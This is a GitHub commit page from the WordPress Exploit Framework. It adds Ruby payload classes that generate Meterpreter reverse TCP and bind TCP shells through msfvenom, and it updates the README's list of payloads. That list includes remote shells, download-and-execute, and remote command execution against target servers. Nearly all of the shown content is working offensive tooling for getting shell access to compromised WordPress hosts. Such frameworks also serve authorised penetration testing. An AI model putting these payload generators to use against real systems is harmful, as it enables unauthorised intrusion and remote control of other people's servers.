Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 5e861c0

Browse files
committed
Merge branch 'feature/meterpreter_payloads' into development
2 parents aa5a883 + d7a8133 commit 5e861c0

File tree

4 files changed

+153
-1
lines changed

4 files changed

+153
-1
lines changed

README.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -76,10 +76,12 @@ Exploit modules require you to specify a payload which subsequently gets execute
7676
* **bind_php:** uploads a script that will bind to a specific port and allow WPXF to establish a remote shell.
7777
* **custom:** uploads and executes a custom PHP script.
7878
* **download_exec:** downloads and runs a remote executable file.
79+
* **meterpreter_bind_tcp:** a Meterpreter bind TCP payload generated using msfvenom.
80+
* **meterpreter_reverse_tcp:** a Meterpreter reverse TCP payload generated using msfvenom.
7981
* **exec:** runs a shell command on the remote server and returns the output to the WPXF session.
8082
* **reverse_tcp:** uploads a script that will establish a reverse TCP shell.
8183

82-
All these payloads, with the exception of ```custom```, will delete themselves after they have been executed, to avoid leaving them lying around on the target machine after use or in the event that they are being used to establish a shell which fails.
84+
All these payloads, with the exception of ```custom``` and the Meterpreter payloads, will delete themselves after they have been executed, to avoid leaving them lying around on the target machine after use or in the event that they are being used to establish a shell which fails.
8385

8486
### How can I write my own modules and payloads?
8587
Guides on writing modules and payloads can be found on [The Wiki](https://github.com/rastating/wordpress-exploit-framework/wiki) and full documentation of the API can be found at http://www.getwpxf.com/.

payloads/meterpreter_bind_tcp.rb

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
module Wpxf::Payloads
2+
# A Meterpreter bind TCP payload generator.
3+
class MeterpreterBindTcp < Wpxf::Payload
4+
include Wpxf
5+
include Wpxf::Options
6+
include Wpxf::Payloads::MsfVenomHelper
7+
8+
def initialize
9+
super
10+
11+
register_msfvenom_options
12+
register_options([
13+
StringOption.new(
14+
name: 'rhost',
15+
required: true,
16+
desc: 'The address of the host listening for a connection'
17+
),
18+
PortOption.new(
19+
name: 'lport',
20+
required: true,
21+
default: 4444,
22+
desc: 'The port being used to listen for incoming connections'
23+
),
24+
BooleanOption.new(
25+
name: 'use_ipv6',
26+
required: true,
27+
default: false,
28+
desc: 'Bind to an IPv6 address'
29+
)
30+
])
31+
end
32+
33+
def host
34+
escape_single_quotes(datastore['rhost'])
35+
end
36+
37+
def lport
38+
normalized_option_value('lport')
39+
end
40+
41+
def use_ipv6
42+
normalized_option_value('use_ipv6')
43+
end
44+
45+
def raw
46+
msfvenom_payload
47+
end
48+
49+
def msfvenom_payload_name
50+
if use_ipv6
51+
'php/meterpreter/bind_tcp_ipv6'
52+
else
53+
'php/meterpreter/bind_tcp'
54+
end
55+
end
56+
57+
def prepare(mod)
58+
generate_msfvenom_payload(mod, msfvenom_payload_name, "RHOST=#{host}", "LPORT=#{lport}")
59+
end
60+
end
61+
end
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
module Wpxf::Payloads
2+
# A Meterpreter reverse TCP payload generator.
3+
class MeterpreterReverseTcp < Wpxf::Payload
4+
include Wpxf
5+
include Wpxf::Options
6+
include Wpxf::Payloads::MsfVenomHelper
7+
8+
def initialize
9+
super
10+
11+
register_msfvenom_options
12+
register_options([
13+
StringOption.new(
14+
name: 'lhost',
15+
required: true,
16+
desc: 'The address of the host listening for a connection'
17+
),
18+
PortOption.new(
19+
name: 'lport',
20+
required: true,
21+
default: 4444,
22+
desc: 'The port being used to listen for incoming connections'
23+
)
24+
])
25+
end
26+
27+
def host
28+
escape_single_quotes(datastore['lhost'])
29+
end
30+
31+
def lport
32+
normalized_option_value('lport')
33+
end
34+
35+
def raw
36+
msfvenom_payload
37+
end
38+
39+
def prepare(mod)
40+
generate_msfvenom_payload(mod, 'php/meterpreter/reverse_tcp', "LHOST=#{host}", "LPORT=#{lport}")
41+
end
42+
end
43+
end

payloads/msfvenom_helper.rb

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
require 'open3'
2+
3+
# Provides common functionality for generating payloads using msfvenom.
4+
module Wpxf::Payloads::MsfVenomHelper
5+
include Wpxf
6+
include Wpxf::Options
7+
8+
def register_msfvenom_options
9+
register_options([
10+
StringOption.new(
11+
name: 'msfvenom',
12+
required: true,
13+
default: 'msfvenom',
14+
desc: 'The path to the msfvenom executable'
15+
)
16+
])
17+
end
18+
19+
def msfvenom
20+
normalized_option_value('msfvenom')
21+
end
22+
23+
def msfvenom_payload
24+
@meterpreter_payload
25+
end
26+
27+
def generate_msfvenom_payload(mod, payload_name, *args)
28+
mod.emit_info 'Generating payload...'
29+
begin
30+
stdout, stderr = Open3.capture3(msfvenom, '-p', payload_name, *args)
31+
rescue Errno::ENOENT => e
32+
mod.emit_error e.to_s, true
33+
mod.emit_error 'msfvenom not found - check the msfvenom payload option'
34+
return false
35+
end
36+
37+
if stdout.empty?
38+
mod.emit_error 'Failed to generate the payload'
39+
mod.emit_error stderr
40+
return false
41+
end
42+
43+
@meterpreter_payload = stdout
44+
true
45+
end
46+
end

0 commit comments

Comments
 (0)